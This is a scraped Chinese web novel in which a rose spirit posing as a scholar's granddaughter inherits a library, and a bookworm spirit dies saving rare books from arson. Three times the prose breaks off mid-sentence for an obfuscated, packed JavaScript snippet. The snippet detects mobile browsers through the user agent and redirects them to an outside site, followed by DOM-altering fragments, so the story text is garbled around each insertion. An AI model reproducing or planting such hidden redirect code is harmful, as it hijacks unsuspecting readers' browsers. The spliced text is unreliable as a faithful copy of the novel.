月季听到陌生的声音从自己喉咙里发出来,“外公,我终于见到你了!那字谜的谜底是‘绝妙好辞’。” 老人倒吸一口凉气,单薄的身子像风中枯叶般抖了三抖,昏了过去。 人群乱作一团,“范老夫子昏过去了!” “沈大人还没到么?” “请什么沈大人?该请薛神医!” “薛神医顶什么用?范老夫子是被妖吓晕过去的!” “那分明是个人!” “人哪有这么美的?我看就是妖。” “那你上去抓啊!” “你怎么不上去?” 一片嘈杂中,月季捂着嘴,压低声音吼道,“滚出来!” 腹中传来一道细细的嗓音,“不出来。” “大胆虫子,不出来就捏死你!” “……姐姐饶命!” “我问你,这里是人间,怎会有妖?” “这问题好生奇怪。人间向来都有妖啊!” 月季气得说不出话来,眼珠都气红了。天杀的白胡子老头,竟敢扯谎骗她! 她掏出铜镜,正想一头钻回妖界,找白胡子老头算账,突然觉得脚底有什么东西动了一下。 那细细的声音说道,“姐姐小心,这是绊妖刺,被它刺中,就动弹不得。” 月季低头,果然看到一根亮晶晶的尖刺。她一脚踩上去,来回碾了碾。那刺颓然软倒。 “姐姐好本事!” 月季哼了一声,“像痒痒挠。” 周身突然紧了一紧。 虫子说道,“这是捆妖索,捆住妖以后,即刻绞杀。” 月季轻轻一挣,一根银亮的细丝掉落在地,化为粉末,飘散在空中。 虫子大喜,“姐姐果然厉害!” “这些东西都是人做出来对付妖的?” “是啊!若非姐姐庇护,我此刻已经没命了。” 月季心头火起,“不是说人类天性和平,柔弱无害嘛?!” “姐姐说笑了。人类凶得很,法器也多,除了这些,还有更厉害的,比如斩妖剑,一旦被刺中……哎呀,他来了!” 声音突然消失。 月季茫然抬头。 人群让开一条小路,有个年轻男子一袭白衣,正目光灼灼地盯着自己。他手中果然握着一柄剑,剑柄上的羊脂玉泛着柔光。 他整个人也似在泛光,面容俊朗,身若修竹,虽是个凡人,却有飘逸出尘之姿,让她想起具区泽上浩渺的水,浮玉山顶溶溶的月。 一名书生叫道,“沈大人你可算来了!这妖……这女……这妖女凭空出现在法阵中央,立刻被我们围了起来。可她叫范老夫子外公,还说什么字谜……” 边上一个圆脸大娘抢着说,“范老夫子昏过去了!怕是中了妖法!” 沈灵均此刻心中的惊骇无以复加。 他是被一股卓然澎湃,势不可挡的妖气引来的。这样厉害的大妖,见所未见,闻所未闻。怎么会出现在南安县? 他手按剑柄,缓缓走近。布下的法阵已破,绊妖刺倒伏在地,观其形态,未及发动就被压制,捆妖索更不知所踪。 阵中站着个千娇百媚的美人,神色骄傲中带点天真,睥睨人群,丝毫不惧。 他看不出她的真身。 师父说过,若看得出妖的真身,说明自身法力占优,可以出手。若看不出,说明实力不及,万万不可轻举妄动。 现在何止是实力不及。恐怕此妖跺跺脚,就能荡平整个南安县。 围观众人生死系于一线,却一无所知,还等着看热闹呢。 为今之计,只有先稳住她。 沈灵均心如鼓擂,面上却装出一副淡然神色,“诸位都散了吧。我看这位姑娘并非妖邪之辈。” 很久以后,月季还记得,这是沈灵均初见她时,说的第一句话。 沈大人的话,众人岂有不信的,听说她不是妖,心里的石头落了地,立刻就要围上来问东问西。 沈灵均吓得大喝一声,“不要过去!” 大家都看着他。 “还未请教姑娘尊姓大名?” 细细的声音又响起来,“你就说姓季。名字随便编一个。” 月季未及多想,脱口而出,“月……季月。” “原来是季姑娘。在下沈灵均,是前来捉妖的。” 她“哼”了一声,凝神看他如何出手。 “听说姑娘是范老夫子的外孙女?” 细细的声音道,“你就说是!快说呀!” 季月根本不懂什么是外孙女,被催得烦了,用手指戳了戳肚子。 “唉哟,痛!” 沈灵均看她先是一脸迷茫,突然皱眉,戳自己肚子,唇角微不可见地弯了一弯,随即又恢复无所谓的样子。 此妖甚是古怪。 他继续试探,“姑娘远道而来投奔外祖,方才受了惊吓,追根究底, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084211|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是沈某的不是。姑娘有所不知,琳琅阁近日怪事频发,珍贵书册无故失踪,想必是妖物作祟。不过不必担心。沈某今晚就留在此处,非抓到妖物不可。” “随便你。” 她看起来不像马上要吃人的样子。 沈灵均稍稍放心。 “请姑娘进大厅稍坐。” 琳琅阁平时是严禁外人进入的,但范老夫子不省人事,柳望川又浑浑噩噩,一时清醒,一时糊涂,没人提起这茬。 众人一拥而上,七手八脚地把范老夫子抬进卧房。 季月磨磨蹭蹭地跟在后头,跨过门槛,进入前厅,挑挑拣拣地转了一圈,在一张黄花梨木的椅子上坐定,以手撑头。 虫子在她腹中咯咯直笑,“哈哈哈哈,好无能的捉妖师,竟看不出姐姐是妖。” “你给我滚出来。” “姐姐不谢我,怎么反要赶我走呢?” “谢你什么?” “泼天的富贵就在眼前呢!” 季月听到“富贵”二字,竖起了耳朵。“怎么说?” “刚才晕过去的那个范老夫子是南安县鼎鼎大名的老学究,琳琅阁藏有古书过万,价值连城呢!其中最富盛名的,便是前朝大家陆机陆夫子的著作《辞论》,姐姐可听说过?” 季月一头雾水。南安县?学究?琳琅阁?前朝是什么?大家又是什么? “没有。” “当真没有?奇怪,看姐姐法力深厚,至少五百年修为,怎么连这都没听过?” 季月伸出一指,戳了戳肚子。 “哎哟,痛!” “废话少说。” “姐姐性子好急!这《辞论》,可是天下学子做梦都想读到的古籍,相传读了它就能科举高中。此书存世的仅此一本,范老夫子奇货可居,便出了个字谜,猜出字谜的弟子,才能得到此书。姐姐想不想知道谜面是什么?” “不想。” “姐姐听一下,又没有什么坏处。字谜是八个字:黄绢、幼妇、外孙、齑臼。” 季月面无表情。 “姐姐可猜出来了?没有?哈哈,猜不出也正常,老头把它叫做天下第一字谜呢!那些弟子想破了头,也想不出谜底。亏得我在琳琅阁的书架上,爬了数万个日夜,把古籍都啃了个遍,终于让我给猜出来了。就是刚才在你喉咙里说的四个字!” “你干嘛非要借我的嘴说?” “我法力低微,修炼不出身体嘛。” 季月奇道,“你不是啃了很多书吗?” “哎呀,姐姐想到哪里去了。我们衣鱼,生下来就是啃书的,和修炼无关。书中自有颜如玉,书中自有黄金屋。啃得越多,懂得越多。” 季月还是第一次见到这种专门啃书的虫子。 “你方才借我的嘴喊‘外公’,又是何意?” “老头早年因为一点小事,把女儿女婿赶走,几十年来不闻不问。现在众叛亲离,就想起自己的血脉了。他写了封信,要找回失散多年的外孙女,来继承这琳琅阁。我在那信纸上爬了一遍,不小心尝到一滩咸咸的眼泪,当真是恶心死了。” 季月还是听不明白,“你到底想做什么?” 衣鱼的声音低了一些,“老头说话不算话,我要他不折不扣地兑现承诺!” 5. 海内存知己(四) 事情的起因很简单。某天晚上,衣鱼灵光一闪,猜到了谜底,心痒难耐,若不说出来,就要憋死了。 它飞到书房,当时在老夫子跟前伺候的,只有丫鬟小薇,它便钻进小薇的喉咙,把谜底说了出来。 “我本来以为,老头会大喜过望。他自己亲口说的,谁猜出了谜底,就是他的知己。谁知他非但没有把《辞论》传给小薇,还大发雷霆,一把掀翻了茶杯,骂小薇不知廉耻,偷听偷学,总之什么难听的话都说出来啦!这样还不够,他还让弟子将小薇的双腿打折,赶出南安县!” “为何?” “不知道,人类怪得很,我啃了那么多书,还是猜不透他们。”衣鱼吸了吸鼻子,“小薇姐可好了,打扫书架一向偷懒,抹布甩过一遍就完事,从来不打搅我啃书。不像那四个弟子,动不动就来书房翻书,每个人都曾经把我扇下地,还用脚踩我,把我的身子都踩扁啦!可怜的小薇姐,恐怕再也站不起来了。” 季月奇道,“人的腿折断了,长不好吗?” 她常年在妖界打架,枝干折断是家常便饭。只要有法力,一息之间就可复原。 “那样被生生打断,治不好的,除非请到薛神医。小薇家里穷,又付不起诊金。她父母来接她的时候,连马车都雇不起呢。她走以后,我气不过,就开始和范老夫子作对,把《辞论》偷偷放到几个弟子身上,再当着他的面掉出来。” 衣鱼说到这里,咯咯直笑,“他们人赃并获,个个哭爹喊娘,大叫冤枉。范老夫子根本不信,总共四个弟子,被他赶走了三个,逼疯了一个。最后,我当着老头的面藏起《辞论》,他那顽固不化的脑筋终于转过了弯,明白自己错怪了弟子,气得狂喷鲜血,一跤摔倒。” 衣鱼话锋一转,“哼,都怪那个疯疯癫癫的柳望川,去请什么捉妖师。那个姓沈的来藏书阁转了一圈,口中不知念了什么,我就浑身难受,透不过气,只好躲在房梁上保命。多亏姐姐从天而降,灭了他的法阵和法器!否则再过上一天,我只怕撑不住了。” 月季总算有些明白了。那姓沈的捉妖师摆下法阵,是为了捉衣鱼,而她穿过铜镜来到人间,好巧不巧,掉在法阵上,将那不堪一击的玩意儿弄塌了。 “方才围观的人,又是怎么回事?他们都有法力吗?” “当然没有。本地民风如此,大家最爱凑热闹。一听说沈大人要来琳琅阁捉妖,一传十、十传百,都赶过来啦!那些上了年纪的大爷大妈本来就闲不住,成日里四处溜达。至于年轻姑娘们,全是来看沈大人的。” “看他?” “对啊,她们说他长得好看。沈大人除非出手捉妖,平日很少出门,这次机会难得,把姑娘们都引来了。我刚才在人群里,还瞥见先前被赶走的弟子,想必是听说老头快不行了,闻着味儿回来了。嘻嘻,有姐姐这‘外孙女’在,他们可捡不着便宜。” 季月耐着性子听完这一串絮叨,长出一口气,“门在哪?我要走了。” “别呀!我说了这么多,姐姐怎么还是要走?” “我又不是什么‘外孙女’。” 衣鱼急得在她腹中飞来飞去,“姐姐我跟你说,做人第一要紧之事,就是学会表演。你就把自己当成范老夫子的外孙女,去他床前掉几滴眼泪,老头一醒,《辞论》唾手可得。你可知道这书有多么珍贵,学子们蹉跎半生,都不得一见!” 季月盯着头顶匾额。那四个弯弯绕绕的鬼画符,想来便是人间的文字了。她左看看,右看看,从牙缝里挤出一句,“我又不识字!要书来何用!” 衣鱼被震住了。“姐姐修为如此之高,竟然是个文盲!哈哈哈……哎哟!哎哟!痛!” 被恶狠狠地戳了两下,笑声戛然而止,“咳咳,没事,我教姐姐认字,包教包会,你放心……哎呀,捉妖师又来了!” 耳根得了片刻清净。季月回过头,只见沈灵均抱着剑站在门口,雪白的衣带在晚风中翻飞,目光沉沉地打量着她。 “适才听姑娘自言自语,难道你……未曾念过私塾?” “……” 衣鱼料想她听不明白,小声提示,“私塾就是教人识字的地方。” “没有。” “非是沈某冒昧,只是范老夫子学贯古今,盛名远扬,他的外孙女竟不能识文断字,却又猜出天下最难解的字谜,实在出人意料。莫非汉阳县文风不盛,不尚求学,却尚玄学?” “……” 衣鱼尖声道,“他在诈你!范老夫子的女儿女婿被他赶去了西河县,并非汉阳县。他的外孙女不可能在汉阳县长大。” 这些弯弯绕绕,季月哪听得懂,不耐烦地一拍桌子,“不识字怎么了,你想打架吗?” 轻飘飘一句话,把沈灵均吓出一身冷汗。 他本想试探季月认不认识真正的‘外孙女’,进一步打听她来南安县的目的,没想到她连装都懒得装。 和她打架,无异于送死。 他暗中握紧剑柄,勉强笑道,“沈某岂是姑娘的对手。” “知道就好。” 谢天谢地,她把头转回去了。 沈灵均吁了口气,“范老夫子刚刚醒来,正唤姑娘过去呢。” 范老夫子躺在柔软的云被中,眼皮似有千钧重,筋络突起的手颤巍巍地伸向卧房门口。模糊的光晕中,现出一个藕粉色的身影,步履轻捷,向他走来。他感到自己即将消失的生命,被这个“外孙女”勾了回来。 “孩子……过来……你叫什么名字?” 柔嫩的手指握住苍老的手指,清亮的嗓音如同出谷黄莺,“季月。” 想到那跳动的脉搏下流淌着自己的血脉,范老夫子浑浊的眼中落下一滴泪来,“好孩子……好孩子……千金易得,知己难寻。既然你猜出了谜底,老夫就把《辞论》传给你……” 衣鱼在腹中尖声欢呼,“太好啦!太好啦!姐姐得到《辞论》啦!” 季月可没那么高兴,一转头,数十双眼睛盯在她脸上,眼神中充斥着嫉妒、愤恨和渴望。季月看不懂那些复杂的情绪,只觉得他们立刻就要扑上来撕咬。 沈灵均抢上一步,拦在中间,“恭喜范老夫子。恭喜季姑娘。琳琅阁后继有人。” 柳望川哇地一声哭了出来。 范老夫子有了传人,等于他需要讨好的对象换了一个。也不知这个季姑娘脾性如何?有什么喜好?会不会比范老夫子更难伺候? 自己这条苦熬的漫漫长路,还是看不到尽头。 《辞论》就像吊在驴眼前的胡萝卜,诱使驴一圈一圈地绕着磨打转,看得见,却永远够不着。 他迷迷糊糊地去抓季月的衣角,手上有灰,把裙子蹭黑了一大块。 沈灵均从眼角瞥见,吓了一跳。这下完了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084212|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再看季月,她居然毫不在意,反而好奇地打量柳望川。 毕竟月季花长在泥土里,天生没有洁癖。 沈灵均赶紧拉开柳望川,“柳公子,此间大事已定,你尚在病中,快找个地方歇息吧。” 恰在此时,一个书生慌慌张张地冲进门来,“藏书阁……藏书阁起火了!” 范老夫子脸上所剩无几的血色霎时褪尽,大咳起来。 众人奔到院中。热浪混着焦臭味扑面而来。两层楼的藏书阁已成一片火海,火苗窜起老高,大有烧穿房顶之势,木料被烧得毕波作响,雕花大门已经坍塌,变了形的门锁掉在地上。 柳望川越众而出,扑通一声跪倒在地,“夫子的《辞论》!还有那些古籍珍藏,孤本善本,这下完了,全完了!” 这些书十分珍贵,平日里要求得范老夫子开恩,才能借出一册,如今尽数被焚,就如同把读书人的心放在火上烤。 空气中有浓重的桐油味道,难怪火势蔓延得如此之快。 季月低声问,“喂,你说是谁放的火?” 没有回音。喉咙突然一痒,腹内的衣鱼如离弦之箭般窜了出来,一头扑向火海。 它小小的身躯在空中划出一道长长的弧线,钻进藏书阁。 沈灵均目光一凛:妖! 这才是那只搅得琳琅阁天翻地覆的小妖! 他提剑向前,却被大火逼了回来。单手掐诀,念念有词,剑尖喷出一股水流。 细细的水流注入火海,浇了约莫一盏茶工夫,才勉强开出一条路。 沈灵均冲了进去。 季月暗暗摇头。这本事,弱爆了。 正焦灼间,有人尖叫,“快看!” 隔着呛人烟雾,一册册书从二楼窗户里扔了出来。柳望川手脚并用地爬过去,透过泪眼辨认,“《尔雅集》、《虞夏传》,都是珍本!” 书册像下雨一样往下落,大都被烧得卷了边。许多书生抢上去,一本本捡起来。柳望川捡得最多,鬓发烧焦了都浑然不觉。 季月眯起眼睛,看到衣鱼用小小的翅膀托着一只锦盒,出现在二楼窗口。它似乎终于飞不动了,晃了晃,一头栽下。 盒子落地,弹开,露出里面的《辞论》。 柳望川扑过去,合身抱住,涕泪俱下,“文曲星显灵!文曲星显灵啊!” 季月上前一看,衣鱼的半边身子被火烧没了,掉在地上,一动不动。 她有些懵,这聒噪不休的小书虫,竟然就这样……死了? 它害得琳琅阁弟子散尽,范老夫子急火攻心,转头又为了抢救阁中藏书,把命都搭了进去。 “我们衣鱼,生来就是爱书的。” 季月心中闪过一丝悔意。若是早点出手,或许还能救下它。 她抬起头,对着火海吹了口气。 平地刮起一股旋风,把熊熊燃烧的藏书阁卷了进去。风势与火势相抗,很快便压倒火势。不过几息之间,火苗燃尽,烟雾止息,只露出焦黑的墙壁。 众人又惊又喜,柳望川为首,呼啦啦跪倒十几个书生,对着断壁残垣砰砰磕头,“多谢文曲星庇佑!南安县得保文脉!” 沈灵均提着一个满面焦黑的男人,走出藏书阁,往院中一扔。众人同时闻到一股刺鼻的桐油味。 他抬手拂去脸上灰烬,质问道,“钱公子,你为何放火?” 6. 海内存知己(五) 被沈灵均扔出来的人身板结实,披头散发,脸上被火熏得漆黑,辨认不出面目。柳望川扑过去,用袖子在他脸上一通猛擦,仔细看了半天,叫道,“师兄!真的是你!” 钱修远一把推开他,朝地上啐了一口。 他是大弟子,十余年前拜入琳琅阁,后来考了三次乡试不中,便绝了再考的念头,尽心尽力侍奉范老夫子。这次蒙冤被逐后,便不知所踪,连家里人都不知道他去了哪。 柳望川捂着胸口,委屈道,“沈大人,这究竟是怎么回事?” 沈灵均道,“此人潜入藏书阁,到处泼洒桐油,以蜡烛引燃。谁知火势蔓延太快,把点火之人也困在里面。若不是被我发现,只怕性命不保。” 钱修远的目光在人从中转来转去,看到季月,突然暴起,势如疯虎般扑过来。 沈灵均早有准备,扔出两条捆仙索。那绳索如灵蛇一般,自己动起来,一捆手,一捆脚,转眼把钱修远绑成个粽子。 他摔在地上,狼狈不堪,半边脸面都是土。 “师兄,你这是要做什么呀!” “老夫子食言而肥。《辞论》应该是我的!” 柳望川瞄了一眼季月,凄然道,“方才在卧房,夫子亲口指定了这位季姑娘……” “我听到了!我就是气不过!说什么宝书酬知己,简直虚伪至极,根本就只想传给自己的后人!那个字谜的谜底,我三年前就告诉过夫子,可他骗我说不对,把我打发走了!” 钱修远声音嘶哑,字字泣血,“黄绢,色丝也,于字为绝。幼妇,少女也,于字为妙。外孙,女子也,于字为好。齑臼,受辛也,于字为辞。所谓绝妙好辞也。这谜底,明明是我先猜对的! “我侍奉夫子十余年,替他撰文抄录、润笔研墨、端茶送水、伺候起夜,就连倒夜壶、刷夜壶的脏活,我都做了。他以《辞论》为饵,把弟子们当奴才使唤。十年师徒,毫无信任。稍有疑心,便弃如敝履,一个接一个扫地出门。 “若真要偷书,拜入门中第一日,就可以动手了,还猜什么劳什子字谜!我们谁都不敢得罪夫子,不光是因为那册书,他是天下文宗之首,一句话,就能让人前途尽毁啊! “早知如此,我还不如留在家乡,谋个正经营生,也不至于蹉跎半生,一无所有。夫子误我!琳琅阁误我!” 这师门秘辛本不为外人所知,如今被竹筒倒豆子似的抖落出来,听在全县人耳中,琳琅阁最后一丝威名荡然无存。 柳望川叹道,“夫子对不起你,可这些书并没有得罪你,你何必……唉……” “得不到的东西,不如毁掉。” 书生们齐声斥责,“似你这等败类,枉称读书人!” 沈灵均道,“无论如何,你纵火烧书,险些酿成大祸,跟我回衙门吧。” 就在此时,有人慌里慌张地跑来,喊道,“夫子,夫子仙逝了。” 这倒不意外。范老夫子本就到了油尽灯枯之时,又受了火情的惊吓,身体再也承受不住。 沈灵均眉头紧锁,暗叫不妙。 夫子这一死,文人学子们对《辞论》的觊觎,必定转到季月身上。方才在卧房,就几乎剑拔弩张了。他们哪里知道季月是妖,还是法力高强的大妖,万一惹怒了她,后果不堪设想。 沈灵均一向觉得,为一本古籍闹出这许多争端,实在愚蠢,只是范老夫子在世时,无力改变现状。如今倒是个转机。 他转向季月,清了清嗓子,“季姑娘,请节哀顺便。” 季月心里还在想着衣鱼,随口“哦”了一声。 “事关重大,请恕沈某冒昧相询,不知季姑娘以后对《辞论》作何打算?” 周遭的空气凝固了,所有目光集中在他们身上。 “没什么打算。” “此书宝贵,天下文人士子,无一不想读到它。” 季月想起衣鱼死前拼了命把书扔出火场。那只小书虫,应当是希望别人读到这些书的。 “想读就读吧。不让读,全锁在屋子里,也是喂书虫。” 沈灵均一怔,“可有什么条件?” “……认识字就行。” 沈灵均几乎不敢相信。听她的意思,竟与自己的想法不谋而合。 他当即转身面对众人,“诸位,这些珍本古籍遭受火厄,恐怕有所毁损。我想求得知县首肯,广邀南安县的文人士子前来琳琅阁抄录副本,使前人心血,不致湮没无闻。不知各位意下如何?” 有人问,“也包括《辞论》吗?” 沈灵均微笑,“当然。” 抄录副本,就是允许书中内容广为传播。从此以后,再无人能像范老夫子这般,以书相挟,从中得利了。 众人明白过来其中深意,又惊又喜,议论纷纷。 有人叫道,“等等!大家都能读《辞论》,岂不是人人都能科举及第,这未免……未免不妥。” 大家认出这人是先前被赶走的二弟子杨鸣珂。 沈灵均朗声道,“若读了《辞论》,真能继承陆夫子遗风,经世治国,造福百姓,沈某只希望读到它的人,越多越好。” 众人齐声叫好,杨鸣珂不言语了。 “季姑娘,你可有异议?” 季月摇摇头。 柳望川抽抽噎噎,一揖到地,“多谢季姑娘慷慨赐书!” 书生们纷纷跪倒,“多谢季姑娘慷慨赐书!” 喊声响彻琳琅阁。 季月看他们个个眼中含泪,大为奇怪。好端端的,既没打架,又没受伤,一时笑,一时哭,人类真是难懂得很。 沈灵均又道,“季姑娘若信得过我,这修补藏书阁、安排抄书的事宜,全由沈某负责。届时会有专人看守,点数核对,书籍一册都不能少,绝不让琳琅阁再蒙受损失。 “哦。” “季姑娘孤身一人,初来乍到,若不嫌弃,可愿去舍下暂住?” 四周先是一静,接着响起一片低低的惊呼。 自从季姑娘出现,沈大人的视线就没离开过她,跑前跑后,嘘寒问暖,简直像变了一个人。难道这位一心修炼的沈大人终于为美色所迷,两人要成就一段风月佳话? 南安县全县女子都没做到的事,被一个外来女子做成了? 此时天色已晚,暮色四合中,一双双八卦的眼睛亮如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084213|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天上繁星。 季月兀自疑惑,“舍下是何意?” “……就是请你去我家。” 季月从有记忆以来就是独自居住的。具区泽畔那一大片湿润的土地,阳光充沛,雨露丰盛,只属于她一个。 “不用了。” 八卦的人群哗然。 沈大人被佳人断然拒绝,瞧着很有些黯然神伤。 果然追爱的道路都坎坷。 衙门来人带走了钱修远,也抬走了范老夫子的遗体。柳望川身体尚未恢复,被送去医馆。 沈灵均催促人群散去。偌大的琳琅阁终于安静下来。 季月漫无目的地转了一圈。 琳琅阁两进宅院之中,属范老夫子的卧房最为豪华,书房次之,读书堂再次之。弟子居阴暗潮湿,只有并排的四张床。下人居所和柴房则堆满杂物,狭小逼仄。 她走回院中。泥土经过方才的烟熏火燎,气味难闻。她随手一弹,几颗白露丸掉了进去,立刻飘出淡淡幽香,总算把空气弄得清新了一些。 掏出铜镜,东方初升的一弯新月正好落入镜中。 人间的月亮,看起来如此之小。 季月陷入沉思。说什么人间没有争斗,纯属扯淡。范老夫子和弟子们,衣鱼和范老夫子,捉妖师和衣鱼,不都是斗得你死我活。 大的欺负小的,强的欺负弱的。和妖界有什么分别? 好在她并不弱小。那个好看的捉妖师只有捉虫的本事,不足为惧。其他人法力全无,更不值一提。 看来白胡子老头说的,也不全是谎言。人间对她没有威胁。留在这里,总比被绿牡丹追杀,朝不保夕要好。 不如再待上一阵,至少,把这次的斗花大会躲过去。 主意已定,她收起铜镜。 院中没什么植物,只有一架紫藤。她在花架下选了块泥土,挖了个坑,把两只脚踩进去。根系埋进泥土的那一刻,浑身都舒坦了。她倚着花架,闭上眼睛,沉沉睡去。 沈灵均回到府中,才惊觉贴身衣服已被汗水湿透。今日这一通奔波,琳琅阁之事姑且算是了结,但另一桩事,实在棘手。 他定了定神,先修书一封,寄去西河县,打听范老夫子女儿女婿的下落。 得问清楚,他们是不是真有个外孙女,会不会已经被妖吃了。 他把信绑在鸽子腿上放飞,同管家交代了几句,回到书房,捧出一盏八角琉璃灯。这灯通体雕花,晶莹剔透,华美无比。他点起灯,找出一张符纸,龙飞凤舞地写了几个字,拿到火上焚烧。符纸一点点燃尽,烛火摇曳许久,并无动静。 师父去妖界前曾叮嘱,万一遇到紧急的事,可以用此方法联络。 但他能不能收到消息,全看运气。 看来今日运气不佳。 沈灵均郁闷地揉了揉额角,收起灯,拿出玉简,沉思片刻,饱蘸浓墨,提笔写道:立秋,琳琅阁有大妖现世,来历不明。以罡风灭藏书阁大火,法力之高强,前所未见。无法与之正面抗衡。 想了想,又加上:不通文字。对人间之事似乎知之甚少,时有发呆迷茫神色。宜探明来意,徐徐图之。 7. 此树最相思(一) 头顶有鸟在吵架。叽叽喳,叽叽喳。 听不清它们在吵什么。 突然呼啦啦一声,许多翅膀齐齐扇动。 鸟飞走了。 季月睁开眼睛。 五张男人的脸围成一圈,俯视着她,像在研究什么稀罕物。 她低头看看自己。人的手,人的身体,一袭粉色襦裙,双脚踩在土里。 哦,想起来了。前一天,她受白胡子老头所骗,穿过铜镜,到了人间。 本来以为这里是安乐太平世界,没有斗争,没有危险。 谁知甫一落地,就被里三层外三层地围起来,男女老少人人明火执仗,齐声高喊“抓妖怪”,着实受了一番惊吓。 后来又是纵火烧楼,又是抢救古籍,乱哄哄闹到半夜,事情才算平息。 自己得了个范老夫子外孙女的身份,暂时留在这琳琅阁。 怎么没睡几个时辰,又被人围起来了? 季月清清嗓子,“你们想干嘛?” 一个蓄着络腮胡的男人抱拳道,“我们是县衙的衙役,奉徐知县和沈大人之命,前来协助抄录古籍事宜。” 他的目光向下溜,觑着季月的脚,表情十分怪异,“姑娘为何踩在土里睡觉?” “这样舒服啊。” 五张脸上都露出大惊小怪的模样,“这个姿势……能舒服吗?” 季月把脚拔出来,抖了抖,掉下一层土。 花的快乐,人哪里能懂。 “是你们几个来抄书吗?” 络腮胡说,“不是。本县文人学子皆被征召。我等先行来此搬运清点,记录在册,以免抄录过程中有人起了歹心,贪墨古籍。” 旁边一人道,“沈大人吩咐,琳琅阁的藏书,一册都不能少,抄录以后,原样归还。” 另一人道,“藏书阁昨夜遭火焚,有倒塌之虞,还请姑娘挪动尊步,我等在院中搭个棚子,好放书。” 他们说的有条有理,季月也无从反驳,只得走开。 衙役们手脚当真麻利,转眼就用竹竿和油布搭起一个大棚,将搬出来的书码成一摞一摞。 琳琅阁是范老夫子经营一生的心血,藏书汗牛充栋。衙役们才搬出半层,院中空地就放满了。他们只得乒乒乓乓拆了紫藤花架,腾出地方来。 季月眼看着自己昨夜的安眠之处被三下两下填平,甚是不满。 下午,书生们陆续来到。琳琅阁一向是严禁外人进入的神秘所在,一朝开放,众人免不了先东张西望,参观一番。 每个人须在县衙名录上签字画押,才能领到古籍,进读书堂誊抄。 书籍被火烧焦,字迹难以辨认之处,皆做出标记,以待日后补足。 读书堂本就不大,四张长桌坐得满满当当,书生们个个埋着头奋笔疾书,场面蔚为壮观。 季月看着这些人,想起昨日那只书虫讥讽自己是文盲,蓦地生出了学字的念头。她凑到领书的台子前,想随便挑一本。 她的手和一只指节修长、白白嫩嫩的手,按在了同一册书上。 那手的主人,一个小白脸转过头,目不转睛地盯着她,须臾,眼眶竟然红了,微微上翘的桃花眼中,滚下两行热泪。 “季姑娘,小生情不自禁,实在惭愧。” 季月奇道,“你是谁啊?” 小白脸哽咽道,“小生杨鸣珂,昨晚亲眼目睹恩师离世,藏书遭火焚,师兄被下狱,心中悲怆难抑,不能自已。” 络腮胡衙役见季月仍是一脸茫然,解释道,“这位杨公子,曾是琳琅阁的二弟子。” 季月这才想起,此人昨晚也在场,似乎还说了几句话。 杨鸣珂用袖子抹了抹眼泪,“师门不幸,师门不幸啊!” 衙役道,“杨公子这么伤心,不如多歇息几日再来。” “不!为师门效力,怎可躲懒?《辞论》在何处?” 衙役一指讲台。那本人人艳羡的宝书摊开放在中央,正由三名学子同时抄录。 “沈大人说,此书抄录不限次数,这会儿人满了,你等下一批吧。” 杨鸣珂愣了许久,悻悻收回视线,“既如此,我……抄些别的吧。” 他挑拣半晌,终于选定一本《策论》,坐在角落,一边执笔,一边吸鼻子。 抄书需要静心,他这一抽一抽的,难免惹人心烦,遭了不少白眼。 季月好奇地凑过去,见他并没写字,而是在宣纸上绘了幅女子像:圆圆脸庞,双丫髻,看起来憨态可掬。 “你画的是谁呀?” 这一问不得了,杨鸣珂拖长了声音呜咽道,“这是小薇!可怜的小薇啊!” 众人侧目。 “我与小薇虽然身份有别,但情若兄妹。这琳琅阁的一茶一饭,一桌一椅,都饱含她的心血。如今物是人非,怎能不令我心如刀割……” 他捧着画像喃喃道,“小薇这姑娘,温柔可人,蕙质兰心。那日她说要送我香囊,挑好了花样,只差一个月便能绣完,只可惜,天不遂人愿。” 所有人都停了笔,看他表演。 他哭得肝肠寸断,衙役走上两步,想要劝阻,见他一副痛不欲生的模样,又把话咽了回去。 他不知如何开口,身后却传来一个高傲的声音,“师兄当真如此怜惜小薇,夫子要对她动刑时,怎么没有拼死拦着?” 众人回头,只见一个男子身着绸衫,腰悬玉佩,风尘仆仆,站在门口。柳望川稚嫩,杨鸣珂阴柔,这人身上却是一股勃勃英气,岩岩若孤松之独立,俊俏面庞上微露讥讽之色。 有人招呼道,“是韩公子吧?您怎么才回来,可错过了昨晚一场好戏……额……一番变故。” 这人正是琳琅阁的三弟子,韩思年。 他面向大家,朗声道,“不怕诸位笑话,韩某蒙冤被逐后,连夜赶去西河县请来刑讼高手,探案名家,原本指望揭破真相,还我清白,谁知人虽请到了,却晚来一步。” 他扫视院中众人,眼光停在季月脸上,惊叹道,“这位想必就是季姑娘吧。世上竟有如此佳人,真是风姿绰约,不同凡响。” 季月展颜一笑。 